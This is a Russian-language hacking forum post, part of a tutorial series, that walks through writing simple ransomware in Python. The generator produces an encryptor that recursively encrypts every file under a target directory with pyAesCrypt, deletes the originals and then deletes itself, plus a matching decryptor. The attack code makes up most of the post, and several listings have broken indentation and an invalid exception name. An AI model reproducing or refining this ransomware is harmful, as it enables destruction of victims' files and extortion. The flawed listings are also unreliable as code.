Пишем на Python простейшую малварь (Ч3. Шифровальщик)

Kenshiro

Script Kiddie
22.05.2020
10
1
6
Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

Python:
direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")
Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

Python:
with open("Crypt.py", "w") as crypt:   
    crypt.write('''   
    текст программы   
    ''')
Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

Python:
import os
import sys
Пишем функцию шифрования (все по мануалу pyAesCrypt):

Код:
def crypt(file):   
    import pyAesCrypt   
    print('-' * 80)    # Задаем пароль и размер буфера   
    password = "'''+str(password)+'''"   
    buffer_size = 512*1024    # Вызываем функцию шифрования   
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")   
    # Удаляем исходный файл   
    os.remove(file)
Вместо str(password) скрипт-генератор вставит пароль.
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.

Python:
def walk(dir):   
    # Перебор всех подпапок в указанной папке   
    for name in os.listdir(dir):       
    path = os.path.join(dir, name)       
    # Если это файл, шифруем его       
    if os.path.isfile(path):           
        crypt(path)        # Если это папка, рекурсивно повторяем       
    else:           
        walk(path)
В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.


Python:
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
Здесь снова будет подставляться нужный путь.
Вот весь исходник целиком.

Python:
import os
import sys

def crypt(file):   
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024   
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)   
    print("[Encrypt] '"+str(file)+".crp'")   
    os.remove(file)
    
def walk(dir):   
    for name in os.listdir(dir):       
    path = os.path.join(dir, name)
    if os.path.isfile(path):
        crypt(path)
    else:
        walk(path)
        
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))
Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

Python:
import os
import sys

# Функция расшифровки
def decrypt(file):   
    import pyAesCrypt    print('-' * 80)   
    password = "'''+str(password)+'''"   
    buffer_size = 512 * 1024   
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)   
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")   
    os.remove(file)

# Обход каталогов
def walk(dir):   
    for name in os.listdir(dir):       
    path = os.path.join(dir, name)       
    if os.path.isfile(path):           
        try:               
            decrypt(path)           
        except Error:
            pass
    else:
        walk(path)
        
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))
Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try...except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.
 

LadyBourbon

Intermidiate Hacker
18.06.2020
26
6
6
Как так получилось что сначала шли 1,2, и 4 части, а теперь третья прилетела?
 

Об LS-LA

  • Мы, группа единомышленников, основная цель которых повышать уровень знаний и умений.
    Не забывая о материальном благополучии каждого)

About LS-LA

  • We, a group of like-minded people, whose main goal is to increase the level of knowledge and skills.
    Not forgetting about everyone’s material well-being)

Быстрая навигация

Пользовательское меню